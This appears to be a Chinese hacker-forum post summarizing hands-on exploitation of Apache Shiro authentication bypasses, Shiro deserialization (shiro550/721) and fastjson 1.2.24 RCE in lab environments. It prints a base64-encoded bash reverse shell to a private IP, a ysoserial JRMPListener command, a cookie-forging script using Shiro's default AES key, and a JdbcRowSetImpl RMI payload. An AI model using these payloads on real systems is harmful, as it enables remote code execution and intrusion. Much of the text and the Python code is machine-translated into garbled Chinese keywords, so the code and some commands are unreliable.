跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

shiro和fastjson漏洞实操总结

精选回复

发布于

Apache Shiro 提供身份验证、授权、加密和会话管理功能,隐藏复杂问题并提供清晰直观的API,使开发人员可以轻松开发自己的程序安全代码。

Shiro 专注于Shiro 开发团队所说的“四个安全基石”——身份验证、授权、会话管理和密码学。

身份验证:用户身份识别。有时被视为“登录”,是用户证明自己是谁的动作。授权:访问控制过程,例如确定“谁”可以访问“什么”。会话管理(Session Management):管理用户会话,即使在没有WEB 或EJB 容器的环境中也是如此。管理用户的时间相关状态。加密(Cryptography):利用加密算法更安全地保护数据,防止数据被窃取。 @shiro:https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863:Apache Shiro 身份验证绕过漏洞

漏洞原理

在Apache Shiro 1.1.0 之前的版本中,shiro 在执行权限验证之前没有标准化URL。攻击者可以构造/、//、/./、/./等绕过权限验证。

受影响的版本

shiro 1.1.0 和JSecurity 0.9.x

漏洞重现

访问页面地址为:IP:8080

漏洞点/管理员

使用跨目录测试字典fuzz

image.png

image.png

CVE-2016-4437:Apache Shiro 1.2.4 反序列化漏洞/shiro550

漏洞原理

属于shiro550漏洞。

在Apache Shiro 1.2.4 及之前的版本中,加密的用户信息被序列化并存储在名为Remember-me 的cookie 中。攻击者可以利用Shiro的默认密钥伪造用户cookie,触发Java反序列化漏洞,然后在目标机器上执行任意命令。

Shiro 默认使用CookieRememberMeManager 来加密RememberMe cookie。在CookieRememberMeManaer类中,对cookie中rememberMe字段的内容进行序列化、AES加密和Base64编码。在识别身份时,需要对cookie中的rememberMe字段进行解密。根据加密的顺序,可以推断解密的顺序是获取==cookie-base64解码-AES解密-反序列化。==

受影响的版本

阿帕奇希罗=1.2.4

漏洞重现

判断页面的登录是否使用shiro框架进行认证、授权、密码和会话管理。

判断方法:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,以及响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图。

image.png

image.png

只要响应包中出现rememberMe=deleteMe字段,就表明存在漏洞。这是片面的。如果出现rememberMe=deleteMe字段,则应该仅表示登录页面使用shiro进行身份验证。它并不直接表明存在漏洞。未登录时,请求包的cookie中没有rememberMe字段,返回包set-Cookie中也没有deleteMe字段。如果登录失败,无论是否勾选RememberMe字段,返回包中都会有rememberMe=deleteMe。如果不勾选RememberMe字段,则登录成功后,返回的包set-Cookie中会有rememberMe=deleteMe字段。但是,在所有后续请求中,cookie 将不会有RememberMe 字段。检查记住我。如果登录成功,返回包set-Cookie会有rememberMe=deleteMe字段和remember字段。在后续的所有请求中,cookie都会有rememberMe字段,或者你可以在cookie后面添加rememberMe=1,看看返回包是否有rememberMe=。删除MeYmFzaCATaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEyOS80NDQ0IDA+JjE=

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}'

使用shiro-exploit.py获取shiro的默认密钥(工具地址:https://github.com/insightglacier/Shiro_exploit)

image.png

使用shiro.py生成payload(需要自己更改key,shiro.py代码如下:)

命令:shiro.py 192.168.17.132:6666

shiro.py:

导入系统

导入uuid

导入base64

导入子流程

从Crypto.Cipher 导入AES

defencode_rememberme(命令):

popen=subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

BS=AES.块大小

pad=lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key=base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')

iv=uuid.uuid4().bytes

加密器=AES.new(密钥, AES.MODE_CBC, iv)

file_body=pad(popen.stdout.read())

base64_ciphertext=base64.b64encode(iv + 加密器.加密(file_body))

返回base64_密文

如果__name__=='__main__':

有效负载=encode_rememberme(sys.argv[1])

print('rememberMe={0}'.format(payload.decode()))

python3 shiro.py 192.168.200.129:6666

登录后抓包,将包中的cookie值替换为shiro.py生成的rememberMe

image.png

CVE-2020-1957:Apache Shiro 身份验证绕过漏洞

漏洞原理

我们需要分析整个项目中所请求URL 的传入传递。在使用shiro的项目中,我们请求的URL(URL1)通过了shiro权限检查(URL2),最终到springboot项目中找到处理的路由(URL3)

该漏洞发生在URL1 中。 URL2和URL3可能不是同一个URL,这使得我们可以绕过Shiro的验证,直接访问后端所需的首选URL。本例中的漏洞就是由于这个原因而产生的。

Shiro框架使用拦截器函数来控制用户访问权限,例如anon、authc等拦截器。 anon是匿名拦截器,无需登录即可访问; authc是登录拦截器,通过登录即可访问。

受影响的版本

阿帕奇Shiro 1.5.2

漏洞重现

image.png

将URL更改为/admin将自动跳转到登录页面。

image.png

构造恶意请求绕过权限

因为如果你添加;在代码级别,它将被识别为绕过。您还可以在其后面添加/。

网址改为/xxx/./admin/绕过登录直接访问成功!

/xxx/./管理/

image.png

白721

漏洞重现:CVE-2019-12422

环境:kali linux

Docker 构建并启动

git克隆https://github.com/3ndz/Shiro-721.git

cd Shiro-721/Docker

docker build -t shiro-721 。

docker运行-p 8080:8080-d shiro-721

访问:

image.png

image.png

image.png

如果使用正确的账号和密码登录,会分别发送两个请求包,分别是POST和GETPOST请求包,如下图(正确账号和密码登录得到的包)image.png

GET请求包如下图(这是正确密码登录得到的包,主要是向后台提交cookie值) image.png 看到响应包中有rememberMe=deleteMe字段,可以说存在Shiro反序列化漏洞image.png

burp插件添加HaE和Logger++查看shiro的指纹

image.png

image.png

工具运用:

image.png

fastjson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

漏洞原理

该漏洞的原理在于Fastjson的反序列化机制。当Fastjson解析JSON数据时,它会尝试将JSON数据转换为Java对象。在这个过程中,Fastjson会根据JSON数据中的类型信息来决定如何解析数据。攻击者可以利用这一特性构造JSON中特定的数据类型和结构,使得Fastjson在解析时调用恶意构造的Java类或方法,从而实现远程代码执行。

利用这一点的常见方法是利用Fastjson 的autoType 功能。 autoType 是Fastjson 的一项功能,允许在序列化和反序列化时使用完全限定的类名。攻击者可以构造恶意的JSON数据,并使用恶意类作为autoType的值。 Fastjson反序列化时会尝试实例化指定的类来执行类中的代码(漏洞利用时一般使用JdbcRowSetlmpl利用链)。

@类型字段

@type是Fastjson中用于处理对象类型信息的特殊字段之一。在JSON 数据中,@type 字段可用于指定反序列化期间应实例化的类的类型。该字段通常用于在反序列化时指定对象的类型信息,特别是当Fastjson的autoType功能开启时。

通过@type字段,Fastjson识别要实例化的类,并根据该字段中提供的类路径创建对象。这在序列化和反序列化复杂对象结构时非常有用,因为它允许您指定对象的确切类型。

然而,正是因为@type字段的存在和使用,恶意用户可能会利用该字段构造恶意JSON数据,并在@type字段中指定恶意类路径。这样,在反序列化过程中,Fastjson会尝试根据@type字段指定的类路径实例化相应的类,这可能会导致恶意代码的执行或安全漏洞的利用。

JNDI

JNDI、RMI 和LDAP 是用于不同目的的Java 技术。

JNDI(Java命名和目录接口):JNDI是Java中的一组API,用于访问不同的命名和目录服务。 JNDI 提供了统一的访问方法,允许Java 应用程序连接和使用各种不同的命名和目录服务,例如DNS、LDAP、RMI 注册表等。JNDI 的目的是提供统一的方式,使Java 应用程序能够利用不同服务的命名和目录功能。 RMI(远程方法调用):RMI是Java中用来实现远程方法调用的机制。它允许不同Java虚拟机之间的对象间通信和方法调用。在分布式系统中,RMI允许远程系统互相调用对方的方法来实现远程对象之间的交互。 LDAP(轻量级目录访问协议):LDAP 是用于访问分布式目录服务的协议。通常用于存储结构化数据,例如用户信息、组织结构等。在Java中,JNDI提供了对LDAP访问的支持,允许使用JNDI来连接和操作LDAP目录服务,例如用户认证、数据检索等。这些技术之间的关系是,JNDI是一个Java API,它提供了访问不同服务(包括LDAP)的统一方式。 JNDI 使您能够连接并操作LDAP 服务器以及在LDAP 目录中检索和存储数据。另外,JNDI还可以用来在RMI注册表中查找远程对象,实现远程方法调用。

综上所述,JNDI作为Java中的API,提供了访问不同服务的统一方式,允许Java应用程序连接和操作不同的命名和目录服务,例如LDAP和RMI注册表。

JdbcRowSetImpl利用链

在fastjson中,我们使用JdbcRowSetImpl进行反序列化攻击。 JdbcRowSetImpl利用链的重点是如何调用autoCommit的set方法。 fastjson反序列化的特点是会自动调用类的set方法,所以就会出现这个反序列化问题。只要指定了@type的类型,就会自动调用对应的类来解析。

这样我们就可以构建我们的漏洞利用链。当@type的类型为JdbcRowSetImpl时,会实例化JdbcRowSetImpl类。那么只要将dataSourceName传递给lookup方法,就可以保证访问远程攻击服务器,然后使用autoCommit属性来触发查找。整个流程如下:

通过设置dataSourceName,将属性参数传递给lookup方法——设置autoCommit属性,使用SetAutoCommit函数触发connect函数——触发connect函数,lookup函数就会使用刚才设置的dataSourceName参数通过RMI访问远程服务器,从而执行恶意指令。

漏洞利用如下:

{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://192.168.17.39:9999/利用”,“autoCommit”:true}

值得注意的是: 1、dataSourceName需要放在autoCommit前面,因为反序列化时属性是按顺序设置的,所以需要先setDataSourceName,再setAutoCommit。 2.rmi的URL后面是我们要获取的远程工厂的类名,因为在lookup()中,会提取路径下的名称作为要获取的类。

fastjson检测版本

1.使用dnslog外卖。最好使用自己构建的dnslog,因为大多数dnslog都被写入黑名单。

2. 出现错误信息。判断版本号payload没有读取到“{”和“,”才进入缺陷代码块并抛出异常。

3、使用脚本快速检测版本号。也就是说,输入每个POC 并检查它是否存在。

CVE-2017-18349 fastjson 1.2.24-rce

0x00简介

fastjson是阿里巴巴开源的JSON解析库。它可以解析JSON格式的字符串,支持Java Beans序列化为JSON字符串,也可以从JSON字符串反序列化为JavaBeans。即fastjson的主要功能是将Java Bean序列化为JSON字符串,以便获取字符串后可以通过数据库等方法进行持久化。

0x01漏洞概述

在解析json的过程中,fastjson支持使用autoType实例化特定的类,并调用该类的set/get方法来访问属性。通过寻找代码中的相关方法,可以构建一些恶意利用链。

0x02受影响的版本

影响范围:fastjson=1.2.24

0x03 环境设置

cd /vulhub/fastjson/1.2.24-rce

docker-compose up -d

码头工人

image.png

docker开放8090端口访问目标机IP

http://192.168.200.166:8090/

image.png

JDK版本切换

利用该漏洞需要jdk8,而kali自带的jdk是jdk11,这里不能使用,所以先卸载kali的jdk1123。

dpkg --列表| grep -i jdk #查看已安装的jdk包

apt-get purge openjdk-* #卸载openjdk相关包

dpkg --列表| grep -i jdk #检查所有jdk包是否已经卸载

下载jdk1.8

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

将压缩包放入kali中,解压,配置环境变量。

mv jdk-8u212-linux-x64.tar.gz /opt/java #放在/opt/java下

tar -zxvf jdk-8u212-linux-x64

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。